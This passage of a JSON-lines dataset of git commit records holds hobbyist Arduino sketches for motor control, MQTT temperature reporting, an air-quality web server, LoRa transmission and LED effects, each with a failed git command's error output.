TEST_WITHOUT_Z \n up_motor_velocity = compute_Up_Motor_Velocity(float(incomingByte_Z));\n#endif\n break;\n\n\n case MODE_CAP_POUSSEE_Z_CONTROL: \n incomingFloat_Alpha_rad = Serial.parseFloat();\n incomingFloat_Alpha_rad= constrain(incomingFloat_Alpha_rad, -3.14,3.14);\n incomingByte_Power = Serial.read();\n incomingByte_Power= constrain(incomingByte_Power, 0,100);\n \n#ifndef TEST_WITHOUT_Z \n incomingByte_Z = Serial.read();\n incomingByte_Z= constrain(incomingByte_Z, -100,100);\n#endif \n \/\/computing new desired velocity for each motor\n incomingByte_X = cos(incomingFloat_Alpha_rad) * incomingByte_Power;\n incomingByte_Y = -sin(incomingFloat_Alpha_rad) * incomingByte_Power;\n right_motor_velocity = compute_Right_Motor_Velocity(float(incomingByte_X), float(incomingByte_Y));\n left_motor_velocity = compute_Left_Motor_Velocity(float(incomingByte_X), float(incomingByte_Y));\n#ifndef TEST_WITHOUT_Z \n up_motor_velocity = compute_Up_Motor_Velocity(float(incomingByte_Z));\n#endif\n \n break;\n\n }\n\n \/\/configuring right motor PWM\n right_motor_pwm = byte(abs(right_motor_velocity));\n if(right_motor_velocity >= 0){\n digitalWrite(RIGHT_MOTOR_FORWARD, HIGH);\n digitalWrite(RIGHT_MOTOR_BACKWARD, LOW);\n }\n else{\n digitalWrite(RIGHT_MOTOR_FORWARD, LOW);\n digitalWrite(RIGHT_MOTOR_BACKWARD, HIGH);\n }\n \/\/configuring left motor PWM\n left_motor_pwm = byte(abs(left_motor_velocity)); \n if(left_motor_velocity >= 0){\n digitalWrite(LEFT_MOTOR_FORWARD, HIGH);\n digitalWrite(LEFT_MOTOR_BACKWARD, LOW);\n }\n else{\n digitalWrite(LEFT_MOTOR_FORWARD, LOW);\n digitalWrite(LEFT_MOTOR_BACKWARD, HIGH);\n }\n \n#ifndef TEST_WITHOUT_Z\n \/\/configuring up motor PWM\n up_motor_pwm = byte(abs(up_motor_velocity)); \n if(up_motor_velocity >= 0){\n digitalWrite(UP_MOTOR_FORWARD, HIGH);\n digitalWrite(UP_MOTOR_BACKWARD, LOW);\n }\n else{\n digitalWrite(UP_MOTOR_FORWARD, LOW);\n digitalWrite(UP_MOTOR_BACKWARD, HIGH);\n }\n#endif\n \/\/some debugging info\n Serial.write(right_motor_pwm);\n Serial.write(left_motor_pwm);\n#ifndef TEST_WITHOUT_Z\n Serial.write(up_motor_pwm);\n#endif\n Serial.flush(); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/firmware\/Zeppelin\/Zeppelin_alpha_teleop\/Zeppelin_alpha_teleop.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5fd264c898ba04b336c3816b983daf6563e05d41","subject":"added sketch for tempout","message":"added sketch for tempout\n","repos":"pmvester\/k34,pmvester\/k34,pmvester\/k34,pmvester\/k34","old_file":"tempout\/tempout_esp8266_mqtt_ds18b20\/tempout_esp8266_mqtt_ds18b20.ino","new_file":"tempout\/tempout_esp8266_mqtt_ds18b20\/tempout_esp8266_mqtt_ds18b20.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n\n#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\/\/ Update these with values suitable for your network.\n\nconst char* ssid = \"k34 Network\";\nconst char* password = \"deadbeef00\";\nconst char* mqtt_server = \"k34.mine.nu\";\n\nconst int oneWireBus = 4;\nOneWire oneWire(oneWireBus);\nDallasTemperature sensors(&oneWire);\n\nWiFiClient espClient;\nPubSubClient client(espClient);\nunsigned long lastMsg = 0;\n#define MSG_BUFFER_SIZE\t(50)\nchar msg[MSG_BUFFER_SIZE];\nint value = 0;\n\nvoid setup_wifi() {\n\n delay(10);\n \/\/ We start by connecting to a WiFi network\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n randomSeed(micros());\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n\n \/\/ Switch on the LED if an 1 was received as first character\n if ((char)payload[0] == '1') {\n digitalWrite(BUILTIN_LED, LOW); \/\/ Turn the LED on (Note that LOW is the voltage level\n \/\/ but actually the LED is on; this is because\n \/\/ it is active low on the ESP-01)\n } else {\n digitalWrite(BUILTIN_LED, HIGH); \/\/ Turn the LED off by making the voltage HIGH\n }\n\n}\n\nvoid reconnect() {\n \/\/ Loop until we're reconnected\n while (!client.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n \/\/ Create a random client ID\n String clientId = \"ESP8266Client-\";\n clientId += String(random(0xffff), HEX);\n \/\/ Attempt to connect\n if (client.connect(clientId.c_str())) {\n Serial.println(\"connected\");\n \/\/ Once connected, publish an announcement...\n client.publish(\"k34\/tempout\", \"{\\\"state\\\":\\\"active\\\"}\");\n \/\/ ... and resubscribe\n client.subscribe(\"k34\/tempout\/cmd\");\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n}\n\nvoid setup() {\n pinMode(BUILTIN_LED, OUTPUT); \/\/ Initialize the BUILTIN_LED pin as an output\n Serial.begin(115200);\n sensors.begin();\n setup_wifi();\n client.setServer(mqtt_server, 1883);\n client.setCallback(callback);\n}\n\nvoid loop() {\n\n if (!client.connected()) {\n reconnect();\n }\n client.loop();\n\n unsigned long now = millis();\n if (now - lastMsg > 60000) {\n lastMsg = now;\n sensors.requestTemperatures();\n float tempC = sensors.getTempCByIndex(0);\n snprintf (msg, MSG_BUFFER_SIZE, \"{\\\"temperature\\\": %f}\", tempC);\n Serial.print(\"Publish message: \");\n Serial.println(msg);\n client.publish(\"k34\/tempout\", msg);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tempout\/tempout_esp8266_mqtt_ds18b20\/tempout_esp8266_mqtt_ds18b20.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"aa07a3d3d828af9b41abc8dffb52ec76c52c0690","subject":"Add chap9 example","message":"Add chap9 example\n","repos":"godstale\/How-to-make-talking-things","old_file":"chap9\/air_quality_tester\/air_quality_tester.ino","new_file":"chap9\/air_quality_tester\/air_quality_tester.ino","new_contents":"#include <EtherCard.h>\n\n#define STATIC 0 \/\/ set to 1 to disable DHCP (adjust myip\/gwip values below)\n#if STATIC\n\/\/ ethernet interface ip address\nstatic byte myip[] = { 192,168,0,200 };\n\/\/ gateway ip address\nstatic byte gwip[] = { 192,168,0,1 };\n#endif\n\n\/\/ ethernet mac address - must be unique on your network\nstatic byte mymac[] = { 0x74,0x69,0x69,0x2D,0x30,0x31 };\n\nbyte Ethernet::buffer[500]; \/\/ tcp\/ip send and receive buffer\nBufferFiller bfill;\n\n\/\/ Remember current air quality\nint AirQuality = 0;\n\n\/\/ Command\n#define NUMBER_OF_COMMAND 5\nint CmdBuffer[NUMBER_OF_COMMAND] = {0,0,0,0,0};\n\n\/\/ Control LED for test\nint LedPin = 4;\nboolean LedStatus = false;\n\n\nvoid setup(){\n pinMode(LedPin, OUTPUT);\n\n Serial.begin(9600);\n Serial.println(\"Start arduino air quality server\");\n\n if (ether.begin(sizeof Ethernet::buffer, mymac) == 0) \n Serial.println( \"Failed to access Ethernet controller\");\n#if STATIC\n ether.staticSetup(myip, gwip);\n#else\n if (!ether.dhcpSetup())\n Serial.println(\"DHCP failed\");\n#endif\n\n ether.printIp(\"IP: \", ether.myip);\n ether.printIp(\"GW: \", ether.gwip); \n ether.printIp(\"DNS: \", ether.dnsip); \n}\n\n\nconst char http_OK[] PROGMEM =\n\"HTTP\/1.0 200 OK\\r\\n\"\n\"Content-Type: text\/html\\r\\n\"\n\"Pragma: no-cache\\r\\n\\r\\n\";\n\nconst char http_Found[] PROGMEM =\n\"HTTP\/1.0 302 Found\\r\\n\"\n\"Location: \/\\r\\n\\r\\n\";\n\nconst char http_Unauthorized[] PROGMEM =\n\"HTTP\/1.0 401 Unauthorized\\r\\n\"\n\"Content-Type: text\/html\\r\\n\\r\\n\"\n\"<h1>401 Unauthorized<\/h1>\";\n\nvoid homePage(){\n \/\/ Write your home page HTML code here.\n \/\/$F represents p string, $D represents word or byte, $S represents string. \n bfill.emit_p(PSTR(\"$F\"\n \"<meta http-equiv='refresh' content='10'\/>\"\n \"<title>Ethercard LED<\/title>\" \n \"Current Air Quality = $D<\/a><br\/><br\/>\" \n \"Command $D = <a href=\\\"?cmd=$D$D\\\">$S<\/a><br\/>\" \n \"Command $D = <a href=\\\"?cmd=$D$D\\\">$S<\/a><br\/>\" \n \"Command $D = <a href=\\\"?cmd=$D$D\\\">$S<\/a><br\/>\" \n \"Command $D = <a href=\\\"?cmd=$D$D\\\">$S<\/a><br\/>\" \n \"Command $D = <a href=\\\"?cmd=$D$D\\\">$S<\/a><br\/>\"),\n http_OK, \/\/ HTTP header string\n AirQuality, \/\/ Air quality value from sensor\n (word)1, 1, (CmdBuffer[0]==0)?1:0, (CmdBuffer[0]==1)?\"ON\":\"OFF\", \/\/ Command 1\n (word)2, 2, (CmdBuffer[1]==0)?1:0, (CmdBuffer[1]==1)?\"ON\":\"OFF\",\n (word)3, 3, (CmdBuffer[2]==0)?1:0, (CmdBuffer[2]==1)?\"ON\":\"OFF\",\n (word)4, 4, (CmdBuffer[3]==0)?1:0, (CmdBuffer[3]==1)?\"ON\":\"OFF\",\n (word)5, 5, (CmdBuffer[4]==0)?1:0, (CmdBuffer[4]==1)?\"ON\":\"OFF\"); \n}\n\nvoid loop(){\n \/\/ Check air quality\n boolean turnOnLed = false;\n int sensorValue = analogRead(A0); \/\/ read data from sensor\n AirQuality = (int)((float)sensorValue\/1024*500);\n \n if(AirQuality < 35)\n turnOnLed = true;\n \n \/\/ DHCP expiration is a bit brutal, because all other ethernet activity and\n \/\/ incoming packets will be ignored until a new lease has been acquired\n \/\/ if (!STATIC \/*&& !ether.dhcpLease()*\/) {\n \/\/ Serial.println(\"Acquiring DHCP lease again\");\n \/\/ ether.dhcpSetup();\n \/\/ }\n\n \/\/ wait for an incoming TCP packet, but ignore its contents\n word len = ether.packetReceive();\n word pos = ether.packetLoop(len); \n if (pos) {\n delay(1); \/\/ necessary for older arduino\n bfill = ether.tcpOffset();\n char *data = (char *) Ethernet::buffer + pos;\n \n if (strncmp(\"GET \/\", data, 5) != 0) {\n \/\/ Unsupported HTTP request\n \/\/ 304 or 501 response would be more appropriate\n bfill.emit_p(http_Unauthorized);\n } else {\n data += 5;\n if (data[0] == ' ') { \/\/Check if the home page, i.e. no URL\n homePage();\n } else if (!strncmp(\"?cmd=\",data,5)){ \/\/Check if a url which changes the command has been recieved\n data += 5;\n char tempCmd[3] = {0};\n strncpy(tempCmd, data, 2);\n tempCmd[2] = 0x00;\n \n if(tempCmd[0] == '1') {\n if(tempCmd[1] == '0') \n CmdBuffer[0] = 0;\n else\n CmdBuffer[0] = 1;\n } else if(tempCmd[0] == '2') {\n if(tempCmd[1] == '0')\n CmdBuffer[1] = 0;\n else\n CmdBuffer[1] = 1;\n } else if(tempCmd[0] == '3') {\n if(tempCmd[1] == '0')\n CmdBuffer[2] = 0;\n else\n CmdBuffer[2] = 1;\n } else if(tempCmd[0] == '4') {\n if(tempCmd[1] == '0')\n CmdBuffer[3] = 0;\n else\n CmdBuffer[3] = 1;\n } else if(tempCmd[0] == '5') {\n if(tempCmd[1] == '0')\n CmdBuffer[4] = 0;\n else\n CmdBuffer[4] = 1;\n }\n \n Serial.print(\"Received command = \");\n Serial.println(tempCmd);\n\n bfill.emit_p(http_Found);\n } else { \/\/ Otherwise, page isn't found\n \/\/ Page not found\n bfill.emit_p(http_Unauthorized);\n }\n }\n ether.httpServerReply(bfill.position()); \/\/ send http response\n } \/\/ End of if(pos)\n \n \/\/ Do what you want\n if( (turnOnLed || CmdBuffer[0] != 0) \n && LedStatus != true) {\n \/\/ turn on LED\n digitalWrite(LedPin, HIGH);\n LedStatus = true;\n } else if(LedStatus != false) {\n \/\/ turn on LED\n digitalWrite(LedPin, LOW);\n LedStatus = false;\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'chap9\/air_quality_tester\/air_quality_tester.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"2eb3676ad6f827b989174c562fe720ccef26ff03","subject":"Add loratest.ino which sends a short message compatible with the settings of the LoRa plugin to sdrangelove","message":"Add loratest.ino which sends a short message compatible with the settings of the LoRa plugin to sdrangelove\n","repos":"bertrik\/loratest","old_file":"loratest.ino","new_file":"loratest.ino","new_contents":"\/**\n * Simple test application, sends a ASCII sentence using an RFM95 module.\n * \n * The sentence is sent with parameters that allow it to be received using\n * the LoRa plugin in sdrangelove.\n *\/\n\n#include <SPI.h>\n#include <RH_RF95.h>\n\n\/\/ Singleton instance of the radio driver\nstatic RH_RF95 rf95;\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(\"LoRa test application\");\n if (!rf95.init()) {\n Serial.println(\"RF95 init failed!\");\n }\n\n rf95.setFrequency(869.850);\n const RH_RF95::ModemConfig cfg = {\n \/\/ Register 0x1D:\n \/\/ BW CR 1=implicit\n (0 << 4) | (2 << 1) | (1 << 0),\n \/\/ Register 0x1E:\n \/\/ SF\n (8 << 4),\n \/\/ Register 0x26:\n \/\/ bit3 = LowDataRateOptimization\n (1 << 3)\n };\n rf95.setModemRegisters(&cfg);\n rf95.setPreambleLength(8);\n rf95.setTxPower(0);\n}\n\nvoid loop()\n{\n \/\/ send the LoRa message\n char data[] = \"Hello World!\";\n unsigned long txstart = millis();\n Serial.print(\"Sending: \");\n Serial.println(data);\n rf95.send((uint8_t *)data, sizeof(data));\n rf95.waitPacketSent();\n\n \/\/ wait some time\n unsigned long waittime = 10L * (millis() - txstart);\n delay(waittime);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'loratest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"333021e7741cba06c1ed1c106c505477c2bc9a26","subject":"Downsized skyprobetest so it will compile when more code is added","message":"Downsized skyprobetest so it will compile when more code is added\n","repos":"TempletonSTEM\/STEM-Skyprobe","old_file":"Test Sketch\/skyprobetest\/skyprobetest.ino","new_file":"Test Sketch\/skyprobetest\/skyprobetest.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Test' did not match any file(s) known to git\nerror: pathspec 'Sketch\/skyprobetest\/skyprobetest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eb6f174b9ec973e2db04f9fc633971a09dbaa3cb","subject":"Create sin_cos_linear_test.ino","message":"Create sin_cos_linear_test.ino","repos":"marmilicious\/FastLED_examples","old_file":"sin_cos_linear_test.ino","new_file":"sin_cos_linear_test.ino","new_contents":"\/*********************************************************************\/\n\/\/ sin cos linear test\n\/\/ This test cycles a few LEDs through the color wheel\n\/\/ to compare sin8 vs cos8 vs linear.\n\/\/ Pixels 0 & 1 use sin8(0-255)\n\/\/ Pixels 2 & 3 use cos8(0-255)\n\/\/ Pixels 4 & 5 with linear 0-255\n\/\/ Pixels 7 lights white at the loop ends as an indicator.\n\/*********************************************************************\/\n\n#include <Arduino.h>\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define NUM_LEDS 32\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define COLOR_ORDER GRB\n#define MASTER_BRIGHTNESS 255\nCRGB leds[NUM_LEDS];\n\nuint8_t potValue; \/\/ Simulated potentiometer value.\nuint8_t sin_output;\nuint8_t cos_output;\nuint16_t slowBy = 15; \/\/ miliseconds to delay\n\n\n\/*********************************************************************\/\n\/\/PROGRAM SETUP\nvoid setup() {\n Serial.begin(115200); \/\/ Allow for output to serial monitor\n delay(2000); \/\/ power up safety delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(MASTER_BRIGHTNESS);\n}\/\/END SETUP\n\n\n\/*********************************************************************\/\n\/\/MAIN LOOP\nvoid loop() {\n \/\/====run forward direction====\n for (potValue = 0; potValue < 255; potValue++) {\n sin_output = sin8(potValue);\n cos_output = cos8(potValue);\n\n for (uint8_t j = 0; j < 2; j++) {\n leds[j] = CHSV(sin_output, 255, 255);\n }\n for (uint8_t j = 2; j < 4; j++) {\n leds[j] = CHSV(cos_output, 255, 255);\n }\n for (uint8_t j = 4; j < 6; j++) {\n leds[j] = CHSV(potValue, 255, 255);\n }\n\n FastLED.show();\n Serial.print(\" potValue = \"); Serial.print(potValue);\n Serial.print(\"\\tsin8: \"); Serial.print(sin_output);\n Serial.print(\"\\tcos8: \"); Serial.println(cos_output);\n\n \/\/Blink pixel 7 white as a visual to show loop ends.\n if (potValue == 0) {\n leds[7] = CHSV(0,0,64);\n Serial.println(\"----------------------------------------------\");\n }\n else {\n leds[7] = CRGB::Black;\n }\n\n delay(slowBy);\n }\n\n \/\/====run reverse direction====\n for (potValue = 255; potValue > 0; potValue--) {\n sin_output = sin8(potValue);\n cos_output = cos8(potValue);\n\n for (uint8_t j = 0; j < 2; j++) {\n leds[j] = CHSV(sin_output, 255, 255);\n }\n for (uint8_t j = 2; j < 4; j++) {\n leds[j] = CHSV(cos_output, 255, 255);\n }\n for (uint8_t j = 4; j < 6; j++) {\n leds[j] = CHSV(potValue, 255, 255);\n }\n\n FastLED.show();\n Serial.print(\" potValue = \"); Serial.print(potValue);\n Serial.print(\"\\tsin8: \"); Serial.print(sin_output);\n Serial.print(\"\\tcos8: \"); Serial.println(cos_output);\n\n \/\/Blink pixel 7 white as a visual to show loop ends.\n if (potValue == 255) {\n leds[7] = CHSV(0,0,64);\n Serial.println(\"----------------------------------------------\");\n }\n else {\n leds[7] = CRGB::Black;\n }\n\n delay(slowBy);\n }\n\n}\/\/END MAIN LOOP\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sin_cos_linear_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"152142b448ea5a09e02a912e447901d3ed484959","subject":"Added Arduino code","message":"Added Arduino code\n","repos":"gpul-labs\/knocky","old_file":"knocky_code\/knocky_code.ino","new_file":"knocky_code\/knocky_code.ino","new_contents":"int pinPiezo = A0;\nint oldValue = 10;\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(pinPiezo, INPUT);\n}\n\nvoid loop() {\n int newValue = 0;\n int maxValue = 0;\n int duration = 0;\n long ardTime = 0;\n\n ardTime = millis();\n\n newValue = analogRead(pinPiezo);\n \/\/Serial.println(ardTime + \"\\t\" + newValue);\n\n if (newValue < 10) {\n oldValue = 10;\n duration++;\n } else if (newValue > 10) {\n if (newValue > oldValue) {\n oldValue = newValue;\n } else if (newValue < oldValue) {\n maxValue = oldValue;\n\n Serial.println(\"Valor maximo: \" + oldValue);\n Serial.println(\"Duracion: \" + duration);\n duration = 0;\n }\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'knocky_code\/knocky_code.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ece1a3874d9622936f43e489636948866721282c","subject":"Update quad_complete.ino","message":"Update quad_complete.ino","repos":"mcprakash\/D-Sub-Drone,mcprakash\/D-Sub-Drone,mcprakash\/D-Sub-Drone","old_file":"src\/quad_complete.ino","new_file":"src\/quad_complete.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcprakash\/D-Sub-Drone.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"92a97a303c1a016b261804efd13d60b6c8433c1d","subject":"Added special award code","message":"Added special award code\n","repos":"grcpca\/pca_firmware","old_file":"SpecialAwards\/SpecialAwards.ino","new_file":"SpecialAwards\/SpecialAwards.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n#define PIN 0\n\n#define NUM_PIXELS 4\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_PIXELS, PIN, NEO_GRB + NEO_KHZ800);\n#define BUTTON 2\n\nuint32_t x, y, z, w;\n\nvoid setupRNG() {\n x = millis();\n delay(5);\n y = micros();\n z = micros()*2;\n w = micros()+100;\n}\n\nuint32_t rdm(void) { \/\/xorshift128\n uint32_t t = x ^ (x << 11);\n x = y; y = z; z = w;\n return w = w ^ (w >> 19) ^ t ^ (t >> 8);\n}\n\nvoid setAll(uint32_t c) {\n uint16_t i;\n for(i = 0; i<NUM_PIXELS; i++) \n strip.setPixelColor(i, c);\n strip.show();\n}\n\nvoid setOne(uint16_t num, uint32_t c) {\n setAll(0);\n strip.setPixelColor(num, c); \n strip.show();\n}\n\nvoid safeSet(uint8_t num, uint32_t c) {\n if(num >=0 && num <NUM_PIXELS) strip.setPixelColor(num, c);\n}\n\nuint32_t scaleCol(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {\n uint8_t rt = ((uint16_t)r * brightness) >> 8;\n uint8_t gt = ((uint16_t)g * brightness) >> 8;\n uint8_t bt = ((uint16_t)b * brightness) >> 8;\n return strip.Color(rt,gt,bt);\n}\n\nclass Effect {\n public:\n Effect() { }\n virtual void init() { }\n virtual void update() {}\n};\n\nclass Rainbow:public Effect {\n uint8_t idx;\n public:\n Rainbow():idx(0) {}\n void init() {idx=0;}\n void update() {\n rainbow(20, idx++);\n }\n};\n\nuint8_t cycle_order[] = {0,1,2,3};\nclass Cycle:public Effect {\n uint8_t r, g, b;\n uint8_t idx;\n byte clr_idx;\n public:\n Cycle(uint8_t _r, uint8_t _g, uint8_t _b) : r(_r), g(_g), b(_b), idx(0),clr_idx(0) {\n }\n void init() {\n idx = 0;\n clr_idx = 0;\n }\n void update() {\n idx++;\n if(idx >=strip.numPixels()) idx = 0;\n\/\/ setOne(cycle_order[idx], strip.Color(r,g,b));\n clr_idx+=10;\n setOne(cycle_order[idx], Wheel(clr_idx));\n delay(300);\n }\n};\n\nclass Larson:public Effect {\n uint8_t r, g, b;\n uint8_t idx;\n byte dir;\n uint8_t mode;\n public:\n Larson(uint8_t _r, uint8_t _g, uint8_t _b): r(_r), g(_g), b(_b), idx(0), dir(1), mode(0) {\n }\n \n void init() {\n idx = 0; dir = 1;\n }\n \n void update() {\n idx+=dir;\n if(idx < 0 || idx >= NUM_PIXELS) dir = -dir;\n setAll(0);\n safeSet(idx-1, scaleCol(r,g,b, 50));\n safeSet(idx, strip.Color(r,g,b));\n safeSet(idx+1, scaleCol(r,g,b, 50));\n strip.show();\n delay(100);\n }\n};\n\nuint8_t red[] = {255,0,0};\nuint8_t yellow[] = {255, 255, 0};\n\nclass Candle :public Effect { \n \n public:\n Candle() { }\n \n void init() {\n } \n \n void update() {\n uint8_t br1 = (rdm()&0x7F)+128;\n uint8_t br2 = (rdm()&0x7F)+64; \n \n uint32_t cc1 = scaleCol(red[0], red[1], red[2], br1);\n uint32_t cc2 = scaleCol(yellow[0], yellow[1], yellow[2], br2);\n \n for(int i=0; i<NUM_PIXELS; i+=2) {\n strip.setPixelColor(i, cc1);\n strip.setPixelColor(i+1, cc2);\n }\n \n strip.show();\n delay(rdm() & 0x7F); \n }\n};\n\nclass RandomFade: public Effect\n{\n byte idx;\n uint8_t br;\n uint8_t dbr;\n uint8_t r, g, b;\n uint32_t c;\n public:\n RandomFade() {}\n \n void init() {\n idx = rdm() & 0x3;\n br = 10;\n dbr = 4;\n }\n \n void update() {\n br += dbr;\n if(br > 200 || br < 10) {\n dbr = -dbr;\n }\n \n if (br < 10) {\n r = rdm(); g = rdm(); b = rdm();\n idx = r & 0x3;\n }\n uint32_t cc = scaleCol(r, g, b, br);\n setOne(idx, cc); \n }\n};\n\n#define MAX_EFFECTS 5\n\nEffect * effects[MAX_EFFECTS];\nEffect * cur_effect;\n\nvoid setup() {\n pinMode(BUTTON, INPUT_PULLUP);\n \n setupRNG();\n \n strip.begin();\n strip.show();\n \n effects[0] = new Rainbow();\n effects[1] = new Cycle(0,100,250);\n effects[2] = new Candle();\n effects[3] = new Larson(0,200, 0);\n effects[4] = new RandomFade();\n \n cur_effect = effects[0];\n cur_effect->init(); \n}\n\nbyte btn=0;\nunsigned long checkTimer;\nboolean okCheckBtns = true;\nuint8_t cur_eff_idx = 0;\n\nbyte last_btn;\nboolean btn_pressed=false;\n\nvoid loop() {\n \n \/\/ Check inputs also, debounce by waiting 100ms before next\n if(okCheckBtns) {\n last_btn = btn;\n\n btn_pressed = false;\n btn = digitalRead(BUTTON);\n \n okCheckBtns = false;\n checkTimer = millis();\n\n if(last_btn == 1 && btn == 0) {\n btn_pressed = true; \n }\n \n if(btn_pressed) {\n cur_eff_idx = (cur_eff_idx+1) % MAX_EFFECTS;\n\n cur_effect = effects[cur_eff_idx];\n cur_effect->init();\n } \n }\n \n cur_effect->update(); \n\n if(!okCheckBtns && (millis()-checkTimer) > 100) \n okCheckBtns = true;\n \n delay(10); \/\/ 100Hz should be good\n}\n\nvoid rainbow(uint8_t wait, uint8_t j) {\n uint16_t i;\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if(WheelPos < 85) {return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SpecialAwards\/SpecialAwards.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d82e87607254afe13cbccc4802982017360f6b76","subject":"Successfully tested laser cutter log api call","message":"Successfully tested laser cutter log api call\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"Documentation\/unit tests\/module_test\/module_test.ino","new_file":"Documentation\/unit tests\/module_test\/module_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Documentation\/unit' did not match any file(s) known to git\nerror: pathspec 'tests\/module_test\/module_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"41e4775edf0ca9ee75149c4be7d582afa3f9836b","subject":"removed immediate connection close","message":"removed immediate connection close\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/wifi_test\/wifi_test.ino","new_file":"unit tests\/wifi_test\/wifi_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/wifi_test\/wifi_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9824d0028793fac779776fa399630517b76ba493","subject":"started barebones template for the offroad build","message":"started barebones template for the offroad build\n","repos":"trevstanhope\/chractor,trevstanhope\/chractor,trevstanhope\/chractor,trevstanhope\/chractor,trevstanhope\/chractor,trevstanhope\/chractor","old_file":"src\/examples\/offroad\/offroad.ino","new_file":"src\/examples\/offroad\/offroad.ino","new_contents":"\/*\nOffroad kit for trail feedback\n \n This build supports the following sensor functions:\n - Roll\n - Pitch\n - Intake Temperature\n - Transfer Case Temperature\n - Steering Position\n - Front Suspension Position\n - Differential Ground Clearance Sensor\n \n *\/\n\n\/* --- Libraries --- *\/\n#include <Canbus.h>\n#include <ArduinoJson.h>\n#include <RunningMedian.h>\n#include <DallasTemperature.h>\n#include <OneWire.h>\n#include \"stdio.h\"\n\n\/* --- Prototypes --- *\/\nint checksum(char *buf);\n\n\/* --- Global --- *\/\n\/\/ IO Pins\nconst unsigned int FAN_RELAY_PIN = 8;\nconst unsigned int TEMP_SENSOR_PIN = 5;\nconst unsigned int MOISTURE_DO_PIN = 6;\nconst unsigned int SENSOR_POWER_PIN = 7; \n\n\/\/ Et cetera\nconst unsigned int SAMPLES = 9;\nconst unsigned int OUTPUT_LENGTH = 256;\nconst unsigned int CANBUS_LENGTH = 8;\nconst unsigned int DATA_LENGTH = 128;\nconst unsigned int BAUD = 38400;\nconst unsigned int JSON_LENGTH = 256;\nconst unsigned int UPDATE_INTERVAL = 15000;\nconst unsigned int DIGITS = 2;\nconst unsigned int PRECISION = 2;\n\n\/* --- Variables --- *\/\nint chksum;\nbool canbus_status = 0;\nbool pump_off = false;\nbool fan_off = false;\nbool irrigation_required = false;\nbool cooling_required = false;\n\nint 